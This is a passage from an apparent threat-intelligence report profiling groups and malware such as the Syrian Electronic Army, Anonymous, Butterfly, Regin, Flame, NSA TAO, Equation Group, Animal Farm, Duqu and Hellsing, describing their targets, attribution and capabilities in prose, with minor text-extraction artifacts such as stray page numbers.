Syria: The Syrian Electronic Army (SEA) The Syrian Electronic Army is a public online political group that emerged in 2011 to support Syrian President Bashar al-Assad and his regime.
The army arose days after Syria lifted its online ban of Facebook and YouTube.
SEA was once managed by the Syrian Computer Society, which was headed by President al-Assad in the 1990s.
The Syrian Computer Society, which regulates the internet within Syria, even registered the SEA website.
The SEA may be partially or entirely supported by the Syrian government.
At present, the SEAs domain is no longer hosted by the Syrian Computer Society and it claims no ties to the government.
Based on the aptitude at social media and the humor used on defaced sites, the army likely consists of young adult males.
One inside source claimed that the group consisted of nine Syrian college students however, no other sources have verified this claim.
46 By all appearances, the SEA conducts attacks to garner global attention rather than to steal data or financial information.
The SEA primarily targets media outlets and journalists, political groups that oppose al-Assads regime, human rights groups, and western organizations.
Most SEA attacks target the websites and social media accounts of United States news organizations because it argues that the outlets spread anti-Syria propaganda.
The SEA uses malware and phishing campaigns to actively monitor Syrian rebels and members of Human Rights groups.
SEA attacks begin with phishing through spam or spear phishing using detailed information obtained from previous campaigns.
The SEA attempt to gain user credentials, which it then uses to seize control of the websites and social media accounts of prominent organizations.
The army has attacked the websites and/or social media accounts of: 60 Minutes, Al-Jazeera, Associated Press, BBC News, CBC News, CNN, The Daily Telegraph, Financial Times, The Guardian, The Onion, National Public Radio, The New York Times, Reuters, Time, and The Washington Post.
Once it has control, The SEA posts fake stories or news and collects any confidential information that could be useful in future attacks, such as contact names.
When phishing attempts fail, SEA may resort to malware, website defacement through web exploits, or denial of service attacks leveraging botnets.
If no attack vector succeeds, then the SEA resorts to bombarding the social media accounts of its target with pro-Syria messages.
Most attacks amount to a banner ad or redirection to a site that supports al-Assad however, the attacks can have tangible impacts.
When the SEA hacked the Associated Press Twitter account in 2013, they posted a message that the White House had been bombed and that President Obama was injured.
The post resulted in a noticeable impact on the DOW Jones and the SP 500 Index (136.5 billion).
In their attack on the New York Times, the SEA demonstrated the ability to breach a major domain registrar, Melbourne IT, using stolen credentials and redirect internet traffic or seize ownership of domains, such as Twitter.
The SEA has also compromised the GoDaddy domain registrar, social media management services, and third party applications that serve news articles.
The attack on a registrar indicates that the SEA may begin to attack third party services and underlying infrastructure in order to compromise its target.
Recently, the SEA has attacked larger targets such as Microsoft, Facebook, EBay, and PayPal through the underlying infrastructure.
47 Global Anonymous Anonymous is a collective of hacktivists and script kiddies which originated in 2003 on the website 4chan.
In the traditional sense, Anonymous is more of a cyber-mob than an advanced persistent threat however, the groups construction and global membership afford it significant influence and resilience to law enforcement efforts.
Anonymous has established a brand name with the physical weight of a cohesive advanced persistent threat group.
Anonymous has a decentralized command structure and it unties its members through anarchic ideology.
Essentially, the loosely affiliated members or member groups work towards goals that they agree upon or remain inactive or split off, if they do not agree.
Dissent is common within the group and one of the largest difficulties in profiling Anonymous is that the only absolutely unifying characteristic is membership in the group.
Some members participate to deface websites and prank organizations while other members participate because Anonymous affords them a serious political activism platform.
Most of the members support the foundational anti- censorship and anti-control platform and they target entities accused of censoring the people.
Members, Anons, range from non-technical supporters to active blackhat hackers.
Essentially, if an individual believes in the Anonymous cause or simply says that they are a member, then they are part of the collective.
Anonymous members are told to neither reveal their identity or to discuss the group.
The sense of membership and ease of access has allowed a few skilled hackers in Anonymous to hide amongst massive crowds of protesters.
Anonymous began by attacking the Church of Scientology, but its scope rapidly expanded.
Since then, Anonymous has protested mass surveillance, anti-digital privacy efforts, governments, financial institutions, and individual users.
More specifically, Anonymous has targeted the MPAA, the RIAA, Sony, the Church of Scientology, the Westburo Baptist Church, government entities in the United States, Canada, Israel, Tunisia, and Uganda, PayPal, MasterCard, Visa, and child smuggling and child prostitution rings.
Anonymous supported the Occupy movement against large businesses, and it supported the Arab Springs movement against oppressive regimes in the Arab region.
The media is the only sector that Anonymous members are prohibited from targeting.
Anonymous defaces websites and organizes distributed denial of service attacks (DDoS).
Hacked websites may feature the pivotal picture of the Guy Fawkes mask, it may feature a manifesto claiming responsibility for the attack, or it may simply display an internet meme.
DDoS attacks are conducted with Gigaloader, JMeter, or the Low Orbit Ion Cannon 48 (LOIC) applications.
These tools flood a server with inbound TCP or UDP packets.
Botnets belonging to members of the group are often added to DDoS campaigns.
In some attacks, these botnets account for up to 90 of the malicious traffic.
America: Butterfly Group/ Morpho The Butterfly group performs corporate espionage campaigns against organizations containing proprietary intellectual property.
Stolen information is likely sold for fiscal gain.
The Butterfly group is organized and efficient.
It is likely that the group consists of only a few individuals (3-10 members).
According to Symantec, [t]here are some indications that this group may be made up of native English speakers, are familiar with Western culture, and may operate from an Eastern Standard Time (EST) time zone.
The emergence of the Butterfly group should remind organizations that corporate espionage groups and non-state sponsored APTs still exist.
In fact, in certain aspects, they are more dangerous than state sponsored groups.
Mercenary and espionage groups may possess specific knowledge of what information to steal or from what systems to steal data.
This information may come from competitors or it may come from insider threats within the organization.
APTs, like the Butterfly group, are more likely to profit from exfiltrated data and stolen intellectual property than an enemy nation state might.
Auction of stolen information to a third party will likely occur immediately after a breach because the group maximizes their potential by realizing profit and redirecting their resources to the next target.
Few concurrent campaigns were observed.
Once information is sold to a third party, attribution of the attack becomes more difficult.
The realized impact of lost financial data or stolen intellectual property could cripple the organization.
The Butterfly group has targeted pharmaceutical companies, technology firms, law practices, oil and precious metal mining organizations, Twitter, Facebook, Apple, and Microsoft.
Since their creation in 2012, the group has compromised at least 49 organizations.
There was only one government victim and they may have been collateral damage of a different campaign.
Butterfly does not appear interested in nation state intelligence.
After the attacks against Twitter, Facebook, Apple, and Microsoft in February 2013 drew the attention of security researchers, the group went dormant.
They reemerged in August 2013 and have been gradually increasing their number of attacks per year.
Of the 49 companies targeted, 17 are based in the United States, 12 are based in Europe, and 4 are based in Canada.
The remaining 16 victims are located in Brazil, China, Hong Kong, India, Israel, Japan, 49 Kazakhstan, Malaysia, Morocco, Nigeria, Taiwan, Thailand, South Korea, and the United Arab Emirates.
In attacks against pharmaceutical companies, the attackers breached small regional offices and then slowly moved across the network to the main network.
In late 2014, two natural resource organizations that specialize in gold and oil were compromised.
In June 2015, a Central Asian global law firm was compromised and financial information and information about regional natural resources may have been targeted.
This has led to speculation that the attackers may be focusing on information that is valuable in the commodities market.
The behavior may also indicate direction from a third party client who is invested in the commodities market.
Attacks seem to be focused on specific systems that are of interest to the attackers, such as Microsoft Exchange or Lotus Domino email servers.
The attackers may want to monitor emails or they may want to inject messages into the server.
Content management servers, which index and store documents and digital assets, were also targeted.
According to Symantec, these servers likely contained legal documents, internal policies, training documents, product descriptions, and financial records.
The actor may gauge the value of a target based on training materials and presentations for related technologies under development at the organization.
In at least one instance, the group hacked a Physical Security Information Management (PSIM) system which collects, processes, and stores data from physical security devices such as CCTV, magnetic card systems, HVAC, and building security systems.
The actor could have been monitoring employees throughout their daily activities, or the system could have been compromised by mistake.
The Butterfly group exploits zero-day vulnerabilities from a water hole website.
In February 2013 Twitter, Facebook, Apple, and Microsoft were attacked within a three- week period.
The Butterfly group initiated their campaign with a Java zero-day exploit that was delivered from a popular iPhone mobile development website.
For some of the attacks, F- Secure believes that the payload delivered after the breach may have been a Mac OS X backdoor, dubbed OSX Pintsized.
Attacks against Windows systems likely featured the Jripbot backdoor.
Symantec believes that the group may also exploit Internet Explorer 10 or an Internet Explorer plugin.
At least one recent attack suggests that the group might also conduct SQL injection attacks.
After a network is compromised, the group carefully adapts to the environment and utilizes remote access tools and management systems to laterally move across the network.
The adversaries have used native Citrix systems and the TeamViewer applications to move across some networks.
The attackers are able to rapidly assess whether a system is valuable or whether they should move to a new system on the network.
The Butterfly group uses a 50 unique set of tools, which seem to have been developed by or developed for the attackers.
Symantec could not find any open source data on the tools.
The tools all contain use documentation.
One tool, bj.dat, (called Banner Jack. )
is used to locate vulnerable network servers, printers, routers, HTTP servers, or TCP servers.
Banner Jack retrieves default messages from Telnet, HTTP, and TCP servers.
Banner Jack accepts an input IP range and port and then it connects each IP address to a port.
Then it retrieves and logs any data printed by the server.
The Proxy.
A tool creates a proxy connection so that the actor can route traffic through a proxy node to a destination node.
The Eventlog tool parses event logs, dumps interesting logs and deletes incriminating logs.
The tool can also end processes and delete itself.
The Multipurpose tool edits event logs, dumps passwords, securely deletes files, encrypts files, enumerates the network, and assists the attacker in moving across the network.
The Butterfly group exhibits intense operational security.
Many of their tools self- delete, and others are securely deleted by a GNU Shred tool used by the attackers.
Event logs are modified or deleted to hide the intrusion.
Uninteresting computers are fully purged of all traces of the attackers presence.
CC domains are registered with disposable names and emails.
Hosts of CC servers are paid using the Bitcoin anonymous digital currency.
Symantec observed that the group uses encrypted virtual machines and multi-staged CC servers to make it more difficult to investigate their middle infrastructure.
Symantec managed to track activity through proxies to a CC server that was digitally sterilized.
No activity was logged and the system featured Truecrypt and a Virtual Box virtual machine.
Compromised systems were likely attacked from within the virtual machine consequently, analysis is difficult when the image is not live.
Regin/ Prax/ WarriorPride The Regin malware campaign targeted international organizations from 2008 to 2011 and from 2013-2014.
The malware may have remained undiscovered for at least five years prior to 2008.
The complexity of the toolkit suggests the investment of significant resources over several years.
In support of this assumption, Symantec notes that Regin appears to be designed for espionage campaigns that last several years.
The malware is allegedly the product of a collaboration between the United States NSA and the British GCHQ.
This allegation derives from a document leaked to Der Spiegel and the Intercept by Edward Snowden.
The malware primarily targeted systems belonging to private individuals, small businesses, and telecommunications companies in Russia, Saudi Arabia, Mexico, Ireland, and to a lesser extent, India, Afghanistan, Iran, Belgium, Austria, and Pakistan.
51 Symantec notes that the framework has been used for mass surveillance against government organizations, infrastructure operators, businesses, researchers, and private individuals.
Nearly half of the attacks targeted private individuals.
The quarter of the infections against telecommunication infrastructure was likely an attempt to gain access to the calls routed through the networks.
Regin does not have a clear infection vector though, Symantec suspects that some infections are the result of watering-hole attacks and zero-day exploits.
Regin consists of a trojan and a backdoor that are widely customizable to fit the target.
The platform excels at remaining undetected and obfuscating its indicators of compromise.
Regin is a modular platform, reminiscent of Flame, Duqu, and Stuxnet.
The Regin backdoor is a five stage modular component and each stage after the first is hidden and encrypted.
After each successful installation of a stage, the next stage is decrypted and installed.
Each piece provides as little information as possible about the total component.
If any stage fails then the installation terminates.
The flexibility of the Regin platform means that the actor can customize the payload to the target.
Consequently, Regin has dozens of discovered payloads and likely has many more that remain known only to the actor.
In general, the platform features several remote access trojans (RATs), and tools to capture screenshots, log keystrokes, monitor network traffic, steal credentials, recover deleted files, and hijack the point and click functions of the mouse.
According to Symantec, advanced payloads also contained Microsoft IIS web server traffic monitor and a traffic sniffer of the administration of mobile telephone base controllers.
The platform also features anti-forensic capabilities, a custom-built encrypted virtual file system (EVFS), and RC5 encryption.
Communication with the CC servers occurs over ICMP/ ping, embedded commands in HTTP cookies, and custom TCP and UDP protocols.
Flame/ Flamer/ Skywiper Flame is a modular malware discovered in 2012 by MAHER Center of Iranian National, Kaspersky Lab, Irans CERT, and CrySyS Lab of Budapest University of Technology and Economics.
Flame may have been active for 2-5 years prior to its 2012 discovery.
Initially, malware targeted the Microsoft Windows operating system of computers that supported the Iranian nuclear program.
However, Iran discovered the malware after detecting a cyber campaign against its oil industry.
Flame is a large piece of modular malware, designed to map and monitor the target network.
Flame is about 20 megabytes of code.
For comparison, it is 20 times the size of Stuxnet though, Flame is entirely focused on espionage and is considered a predecessor to Stuxnet.
The malware leverages the victims network to provide the adversary with a steady 52 stream of exfiltrated data that can be used to inform cyber and cyber-physical campaign decisions.
Flame is too large and too complex to be anything except state-sponsored malware.
Because of its alleged purpose, the Flame malware is attributed to a joint development program between the NSA, the CIA, and the Israeli military.
Flame may have been part of a classified operation meant to monitor and slow Irans nuclear program, code-named Olympic Games.
To the credit of the allegations, the Stuxnet malware was developed under similar circumstances and for similar purposes.
In fact, Flame contains some of the same code as Stuxnet.
According to Kaspersky senior researcher Roel Schouwenberg, Its very likely its two teams working effectively on the same program but using two very different approaches.
Supposedly, the campaign against Iranian oil industry, which led to the exposure of Flame, was a unilateral operation launched by Israel, without informing their American counterparts.
Kaspersky detected Flame malware infections in Iran, Israel, Sudan, Syria, Lebanon, Saudi Arabia, and Egypt.
Significantly fewer infected systems were detected in Europe or North America.
Infected systems belonged to state-related organizations, educational institutions, and individuals.
Systems were compromised via spear phishing attacks, infected websites, infected USB devices, and other infected systems on the local area network.
Flame targeted emails, documents, AutoCAD drawings, instant messenger logs, and Skype conversations.
Flame is one of the first malware complex enough to be considered an attack toolkit.
For years, Flame evaded detection by masquerading as a Microsoft software update.
Flame creates its own backdoor, operates like a Trojan, and replicates across the local network and removable media like a worm.
Flame contains many different libraries for compression (zlib, libbz2, and ppmd), for encryption (five methods total), for database manipulation (sqlite3), and a Lua virtual machine.
The virtual machine is included to integrate components of Flame with C and C code on the host machine.
Flame also contains local databases with nested SQL queries, Windows Incident Management scripting, batch scripting, and other features.
Flame set the precedent for the typical espionage malware capabilities.
Flame can log keystrokes, it can activate microphones to capture audio, it can activate cameras to capture video, it can extract geolocation data from images, and it can screenshot the display.
Recorded data is compressed via a public-source library and periodically sent through the malware operators CC infrastructure through a covert SSL channel.
Other data is similarly exfiltrated.
Flame is unique (at least for 2012) in that it can activate and use Bluetooth wireless to send and receive commands and data.
Through Bluetooth, infected machines can be turned into beacons or used to detect nearby Bluetooth enabled devices.
Like Stuxnet, Flame can infect 53 other systems on the network through shared connections such as printers.
Flame can also spread to air-gapped networks via a USB drive.
The malware detects the antivirus on the host system and configures its modules and file names so that it has the greatest probability of remaining undetected.
The malware also protects its modules with READ, WRITE, and EXECUTE permissions to make them inaccessible to user-made applications.
Flame employed fake Microsoft licensing certificates to make discovered modules appear legitimate.
Finally, Flame includes a Kill module that discretely removes the malware from infected systems.
After public disclosure of the malware, the operators sent the kill command and removed the malware from many high profile hosts thereby obfuscating the actual breadth of the campaign.
Americas Most Elite Line of Cyber-Defense: Tailored Access Operations (TAO) As the most targeted Nation in the world, The United States intelligence community has been continuously raising the bar to combat global bad actors.
Tailored Access Operations is the largest operative component of the Signal Intelligence Directorate of the United States National Security Agency (NSA), consisting of over 1000 military and civilian cyber security professionals, hackers, technology specialists, and hardware and software designers.
Approximately 600 of TAOs Computer Network Exploitation (CNE) operators work in rotating 24 hour, seven days a week, shifts out of the Remote Operations Center at Fort Meade.
The Office of Tailored Access Operations produces some of the best intelligence for the United States government and its work has been pivotal to the success of numerous operations.
TAO is credited with delivering critical information to the 2007 U.S. Army operations in Iraq and in the 2007 operations to prevent Iran from obtaining nuclear weapons.
TAO is comprised of four main divisions.
The Data Network Technologies Branch develops the infiltration and collection software utilized by the TAO.
The Telecommunications Network Technologies Branch curates infiltration techniques.
The Mission Infrastructure Technologies Branch combines the spyware and techniques to use in campaigns and they develop and build the computer and telecommunications hardware.
The Access Technologies Branch, which contains personnel seconded by the CIA and FBI, performs off-net operations.
TAO is headed by U.S. Cyber Command and the director of the NSA.
54 The NSA describes TAO operations as computer network exploitation.
TAO conducts counterterrorism and traditional espionage operations, but they also conduct cyber-attacks on behalf of the United States.
Supposedly, TAO is able to compromise even the hardest targets.
TAO is tasked with monitoring foreign entities, infiltrating their networks, and gathering information.
It accomplishes its task through spyware or by compromising network devices such as routers, switches, or firewalls, and monitoring the network traffic.
TAO is also tasked with developing malware or information profiles that would enable the United States to cripple foreign network infrastructure or telecommunications if directed to do so by President Obama.
The NSA is not authorized to conduct operations against domestic targets however, some are concerned about the massive telecommunications monitoring programs that were revealed as a result of the Snowden leaks.
The NSA monitors domestic traffic to capture communications in which at least one party originates from outside the United States.
When CNE operators identify a network or system belonging to a nefarious foreign entity, they attempt to compromise its security, download a copy of its hard drive for analysis, and plant malware tools to monitor email and network traffic from the machine.
The main attack suite developed by the TAO and made public by the Snowden leak is dubbed QUANTUM.
QUANTUM features a suite of attack tools that enable DNS injection attacks, HTTP injection attacks, and the ability to inject into MySQL connections.
It also contains tools to hijack IRC and HTTP-based criminal botnets and tools to create phantom servers.
The QUANTUMDEFENSE portion of the program searches tapped connections for DNS requests for NIPRnet addresses and initiates a packet-injection attack on a DNS reply to redirect the target to an NSA controlled site.
This site may be a FOXACID server, which probes the victims browser for weaknesses.
The TAO can exploit any weaknesses with the QUANTUMINSERT program and seize control of the victim system.
QUANTUMSMACKDOWN conducts packet injection attacks against attacks aimed at Department of Defense assets.
QUANTUMCOOKIE is used to de-anonymize Tor users through web cookies and fetch requests.
Finally, the QUANTUMSQIRREL program lets TAO pose as any authenticated user on virtually any site by spoofing the IPv4 or IPv6 address of the host.
Through this, TAO can monitor most digital communication, create posts from a trusted account, or pose as specific users in online transactions.
55 EQUATION Group With operations predating at least 2001, EQUATION group is one of the most persistent and arguably, the most sophisticated threat groups in operation.
EQUATION Group was discovered during Russian cyber-security firm, Kasperskys investigation into the Regin threat group.
Kaspersky attributes EQUATION Group to the United States National Security Agency however, definitive evidence of attribution remains absent.
EQUATION groups name derives from their employment of encryption and obfuscation strategies throughout their operations.
The RC5 encryption algorithm is deployed throughout the malware and additional encryption algorithms RC6, RC4, and AES are added in other modules.
Some of the attribution of the group to the United States comes from similarities between the malware platform and exploits to Stuxnet and the Gauss malware.
EQUATION Group has globally targeted more than 500 victims in over 30 countries including Iran, Russia, Syria, Afghanistan, Kazakhstan, Belgium, Somalia, Hong Kong, Libya, United Arab Emirates, Iraq, Nigeria, Ecuador, Mexico, Malaysia, United States, Sudan, Lebanon, Palestine, France, Germany, Singapore, Qatar, Pakistan, Yemen, Mali, Switzerland, Bangladesh, South Africa, Philippines, United Kingdom, India and Brazil.
Targets are affiliated with government institutions, diplomatic organizations, the telecommunication sector, aerospace firms, energy companies, nuclear research facilities, oil and gas companies, military systems, nanotechnology research facilities, Islamic activists and scholars, mass media outlets, the transportation sector, financial institutions, and companies developing cryptographic technologies.
It is possible that even more infections remain undiscovered.
Kaspersky estimates that EQUATION Group attacked 2000 targets per month in 2008 although, the estimate seems generous.
EQUATION Groups known CC infrastructure spans more than 300 domains on over 100 servers.
The EQUATION Group compromises systems by using zero-day exploits, by infecting physical media (USB stick, CDs, etc.
),
through web-based exploits, through the self-replicating Fanny worm, and through robust customized malware platforms.
The zero day exploits targeted Microsoft Windows, Internet Explorer, Java, the Firefox 17 browser, and the TOR browser.
Attacks incorporating infected physical media utilize interdiction, a technique where an attacker intercepts shipped goods, such as software, and replaces it with a version containing malware or backdoors, before sending it to the buyer.
EQUATION Group has been known to exploit vulnerabilities in Java on popular websites to facilitate the delivery of one of its validator-style Trojans, DOUBLEFANTASY and TRIPLEFANTASY.
The Fanny worm was created around 2008 and it was used to gather information from targets in the Middle East and Asia.
According to Kaspersky, 59.36 of Fanny infections were in Pakistan, 15.99 of Fanny infections were in Indonesia, 14.17 of Fanny infections were in Vietnam, and 4.05 of Fanny 56 infections were in China.
Networks are typically infected with the Fanny worm via infected physical media.
Fanny resembles Stuxnet in operation, but it may actually predate Stuxnet and tie the EQUATION Group to the Stuxnet Group.
Some variations of Fanny feature the Stuxnet LNK exploit and other exploits that were deployed in Stuxnet, and the Flame malware however, it appears that the exploits were used in the Fanny worm prior to their inclusion in Stuxnet or Flame.
Considering that Stuxnet and Flame were so effective because they employed zero-day exploits that were unknown to the public, there is merit to the theory that Stuxnet was created by or in collusion with the developer of the Fanny worm.
Fanny is used to map air-gapped networks.
USB devices (and other writable media) that are plugged into infected systems, are corrupted to store Fanny in a self-hidden partition.
When the device is plugged into an air-gapped system, say for updates, basic system information or data is stored in the hidden partition.
The information is exfiltrated to a CC server the next time the device is plugged into a system with an internet connection.
EQUATION Group can also store commands on the device while it is connected to the internet.
Fanny will execute the commands the next time the device is connected to the air-gapped system.
This process allows the group to map the network infrastructure and it allows the group to compromise air- gapped systems, which tend to contain more sensitive information.
These systems are often less defended because their administrators equate their isolation to security.
The EQUATION Group developed unique malware and malware platforms.
Typically, a zero-day exploit or a web exploit was used for the initial compromise of the target system.
Next, a validator-style Trojan, dubbed DOUBLEFANTASY scans the infected system and uses input criteria to determine if the host is the intended system or if the characteristics of the system indicate that its data would be interesting to the attacker.
DOUBLEFANTASY acts as a backdoor into the target system.
If the target matches the criteria, then a malware platform, EQUATIONLASER, EQUATIONDRUG, or GRAYFISH is delivered and installed on the system.
For example, in one campaign, EQUATION Group exploited a vulnerability in the PHP script used in an online Islamic Jihadist discussion forum.
However, only systems belonging to users who were logged into accounts and whose traffic originated from a specific IP address range corresponding to Jordan, Turkey, and Egypt, were infected with malware installers.
More recently, DOUBLEFANTASY has been upgraded into a more robust backdoor, called TRIPLEFANTASY.
The EQUATIONLASER platform was used from 2001  2003 to infect Windows 95 and Windows 98 systems.
The EQUATIONDRUG platform replaced EQUATIONLASER in 2003, and was used until at least 2013.
EQUATIONDRUG supports modular plugins, which can be dynamically uploaded and unloaded by remote attackers.
EQUATIONDRUG installs with a cadre of modules that give full control of the operating system to the attacker.
Further, it supports the addition of new plugins to increase its functionality.
So far, at least 35 different 57 plugins and 18 drivers have been discovered.
EQUATIONDRUG was designed to compromise Windows 95, Windows 98, and Windows ME.
Since the malware does not have a trusted digital signature, it may not be able to run on a modern operating system.
Legacy systems, prevalent in the public sector, are still at risk.
Information gathered by EQUATIONDRUG tools is stored in fake fonts folders under the Windows/ Font file directory.
If EQUATIONDRUG does not receive commands from an adversarial CC server after a specified time, usually a month or two, then it deletes itself from the system.
Sometime between 2008 and 2012, EQUATIONDRUG appears to have been phased out in favor of the GRAYFISH malware platform.
GRAYFISH is the most sophisticated Equation Group malware platform discovered.
Upon delivery of the installer via TRIPLEFANTASY, a GRAYFISH bootkit is injected into the registry of the operating system.
When a computer first powers on, the operating system code executes (booting up) and it enables the majority of the functionality of the system.
When an infected system is powered on, GRAYFISH injects code into the boot record so that it can control every stage of the Windows launch process.
GRAYFISH, its virtual file system, its stolen information, and its functional modules are stored in the registry of the system.
Because everything is stored in the registry and GRAYFISH and its modules are dynamically decrypted and executed by the bootkit, there are no malicious executables contained in the users filesystem.
This means that the user cannot detect the GRAYFISH malware on the system at least not with traditional anti-malware tools.
During the bootup process, GRAYFISH processes through 4-5 layers of decryption where each layer triggers the execution of the next layer of decryption.
If all of the layers successfully decrypt, then GRAYFISH executes its code and the malware silently runs on the machine.
If even one layer fails to decrypt during launch, then GRAYFISH proceeds to delete itself from the system.
This technique confounds analysis and makes GRAYFISH infection difficult to discover because the malware might delete itself the moment the user detects anomalous behavior and begins diagnostic procedures.
On reason that EQUATION Group is considered far more sophisticated than any other advanced persistent threat actor is the capability of modules contained in the EQUATIONDRUG and GRAYFISH platforms to reprogram hard-drive firmware.
This allows for unprecedented persistence.
Security firm F-Secure notes that this rarely seen module might be Tailored Access Operations IRATEMONK program which affects hard-drives produced by Seagate, Maxtor, Western Digital, Samsung, IBM, Micron, and Toshiba.
58 France Animal Farm Animal Farm is the first French speaking APT detected.
It is worth noting that French is the official language of 29 countries.
According to slides referencing Operation Snowglobe, released by Edward Snowden and Der Spiegel in January 2015, Animal Farm is a cyber threat group sponsored by France.
The group is suspected to be a component of the French Directorate-General for External Security (DGES), which is Frances external intelligence agency.
The group began development of its toolkit in 2007 and it has been actively launching attack campaigns since 2009.
The purpose of the group is to conduct cyberespionage and denial of service campaigns against political targets using traditional cyber-attack vectors, 0-day exploits, and a custom multitier malware platform.
Animal Farm targets government entities, activists, private companies, journalists, media outlets, and defense contractors in Syria, Iran, Malaysia, the United States, China, Turkey, the Netherlands, Germany, Great Britain, and Russia with spear phishing and watering hole attacks.
The Animal Farm trojans can be grouped into six families.
The NBot malware is a standard botnet kit capable of enslaving systems and leveraging their resources in aggregate to conduct DDoS attacks.
The EvilBunny trojan and its variants are validator trojans that were used in spear phishing attacks in 2011.
The trojans were delivered through malicious PDF files through the 0-day exploitation of a vulnerability in Adobe reader.
The trojan checks whether an emulator is running, what directory it is running from, whether its payload timestamp has been changed, and what time the API hook was detected.
Bunny is designed as an execution platform for the attacker to inject Lua scripts into victim system processes.
The Casper and Tafacalou trojan families are also validator trojans.
Casper is designed to persist and to track victim online activity.
Casper is delivered via watering-hole attacks while Tafacalou may be delivered through spear phishing or watering-hole attacks.
The Tafacalou malware is the used to deliver either the Dino espionage platform or the Babar espionage platform onto the victim host.
Babar is a spyware toolkit capable of logging keystrokes, monitoring web activity, taking screenshots, capturing audio, copying clipboard data and eavesdropping on online conversations that are conducted over popular messaging platforms (Skype, MSN, Yahoo messenger, etc.
).
Babar obfuscates its activity by hooking into the APIs of remote processes 59 through a series of named pipes.
Babar may have been used to spy on Iranian nuclear research facilities and European financial institutions.
Dino is a modular malware capable of executing C2C commands and Windows batch commands, searching for specific files, uploading and downloading files from the C2C infrastructure, scheduling its own command executions, killing processes, and removing itself from the victim system.
The PSM module is the encrypted on-disk copy of Dinos components.
The CORE module stores configuration and the ENVVAR module stores environment variables.
The CRONTAB module schedules tasks.
Meanwhile, the CMDEXECQ  module stores the queue of commands executed by the CMDEXEC component.
Finally, the FMGR module manages file uploads and downloads.
Israel: Duqu/ DQ Duqu was discovered on September 1, 2011 by CrySyS Lab of the Budapest University of Technology and Economics in Hungary.
The code of the malware is very similar to Stuxnet and it is believed to be either the product of a sister-project or a derivative of the Stuxnet source code.
In particular, the kernel driver of the malware is practically the same as the kernel driver of Stuxnet (commonly named JMINET.SYS and MRXCLS.SYS respectively).
The former case implies that the malware was developed and deployed by a state sponsor, likely the United States or Israel.
Meanwhile, the latter case expands attribution to practically any well- resourced actor on the internet.
Unlike Stuxnet, Duqu was not meant to sabotage the host systems instead, like most modern malware, its purpose was covert information exfiltration.
The Duqu malware was found on similar target systems as Stuxnet, so it is reasonable to conclude that it was likely developed and deployed to collect information pertinent to current events or information necessary to launch future espionage or sabotage campaigns.
Duqu primarily targeted the industrial infrastructure of system manufacturers, and the industrial sector in Middle Eastern countries.
The adversary exfiltrates confidential documents such as design specifications and network information, likely to aid in future attack campaigns.
The original Duqu components exploited a zero-day Microsoft Windows 32k TrueType font vulnerability (CVE-2011-3402).
The vulnerability permits the attacker to execute code at the highest privilege level.
A portion of the malware, dubbed the Duqu framework by Kaspersky, appears to be written in C with a custom object oriented framework and compiled 60 in Microsoft Visual Studio 2008.
Duqu consists of an installer, a driver file, a DLL with embedded files, and a configuration file.
The installer registers the driver as a service that starts at system initialization.
The driver injects the DLL into the Windows process services.exe.
From there, the DLL extracts the other components and injects them into other Windows processes.
Sometimes the driver file is signed with a valid digital certificate to avoid detection.
Duqu was typically configured to run on an infected machine for 30-36 days.
Unlike Stuxnet (a worm), Duqu (a Trojan) does not replicate and spread on its own.
It only spreads through additional breaches and targeted installation.
In service to its espionage function, Duqus components mostly log keystrokes and system information.
According to Kaspersky Lab, the Duqu operators were particularly intent on collecting passwords, stealing documents, and taking desktop screenshots The Infostealer component collects information and then stores it in a local encrypted and compressed file.
At regular intervals or upon request, the file is attached to a dummy .jpeg file and uploaded from the infected host.
Duqu communicates with its C2C infrastructure through HTTP(s).
Each attack, in at least eight different countries, used a different CC server.
The servers, likely proxies, forwarded all port 80 and port 443 traffic to other servers, which in turn forwarded traffic to other servers, and so on.
The servers also contained at least three different DLLs and the infostealer component used to collect information from the infected hosts.
Most of the known infrastructure went inactive when the malware was exposed.
In late 2015, Kaspersky reported the reemergence of the Duqu malware, targeting western countries as well as the Middle East and Asia.
Many of the targets were affiliated with the P51 events and venues associated with the Iran nuclear deal negotiations.
An event honoring the 70th anniversary of the liberation of Auschwitz-Birkenau may also have been targeted.
The recent attacks leveraged new 0-day exploits including CVE-2015-2360, which targets the Windows kernel.
Duqu 2.0 runs as kernel level code.
The updated malware survives in the system memory of infected servers and re-downloads onto desirable hosts upon reboot.
Duqu 2.0 was built on top of the original code however, it now loads from an MSI file, and has at least 94 more plugins.
The known plugins allow the adversary to customize the toolkit to the target environment to circumvent system security and incompatibilities.
Newer components appear to be written in the C programming language.
It is unclear if the new version is deployed by the original team.
Strings in the code suggest that the malware was developed by English speakers however, a few minor spelling errors could suggest the involvement of non-native speakers.
Additionally, Kaspersky observed a target system that was infected by both Duqu 2.0 and Equation group malware.
This suggests a lack of coordination and possibly competing interests.
Since the source code of 61 Duqu was never made public, the revised version had to have been developed by the one of the original authors.
If Duqu was developed by both the United States and Israel, and if Equation Group is not coordinating with Duqu, then one could postulate that Duqu 2.0 was developed by the Israeli development team in an effort to gain information about the US-Iran nuclear negotiations.
Other explanations exist.
Unknown Nationality: Hellsing The Hellsing group targets government and diplomatic organizations in the APAC region, particularly organizations located in nations along the South China Sea.
Most targets are from Malaysia, the Philippines, Indonesia, and India.
Hellsing malware samples were primarily compiled in either UTC6 or UTC8.
Typically, Hellsing infects targets through spear phishing emails containing password protected RAR, ZIP, and 7ZIP archives.
The passwords are sent in the emails to the target.
Locking the archives bypasses some security features such as Gmail scans.
Hellsing was discovered when Kaspersky Lab was investigating the Naikon group and found that Hellsing had responded to a 2014 spear phishing email from Naikon with a custom backdoor.
It is not clear whether Naikon intentionally targeted Hellsing or if Hellsing actually managed to infect Naikon however, it is clear that Hellsing took the attempt as an attack and responded with an escalated attack.
Hellsing responded to the spear phishing request for information with a series of inquisitive exchanges, pressing Naikons assumed identity (as an employee of the secretariat division of the government of the assumed target nation) and fake credentials.
The conversation demonstrates that the Hellsing members are more proficient in English than the Naikon group.
Finally, Hellsing emailed back a confidential locked RAR and the accompanying password.
The archive contained two PDFs and a malicious SCR file.
The latter file was a backdoor specifically customized to target the Naikon group.
The backdoor can upload and download files, update itself, and uninstall itself.
Each instance of the backdoor has a command and control server, a version number, and a campaign or victim identifier.
The same Hellsing backdoor has been seen in attacks against ASEAN related entities in the South China Sea region.
Some of the Hellsing infrastructure overlaps with an APT group tracked internally by Kaspersky, dubbed PlayfulDragon/ GREF, while other portions of the infrastructure coincide with the Mirage APT group and the Vixen Panda group.
After Hellsing establishes a variant of its backdoor, it deploys information-gathering tools.
One tool, test.exe, gathers system information and tests available proxies.
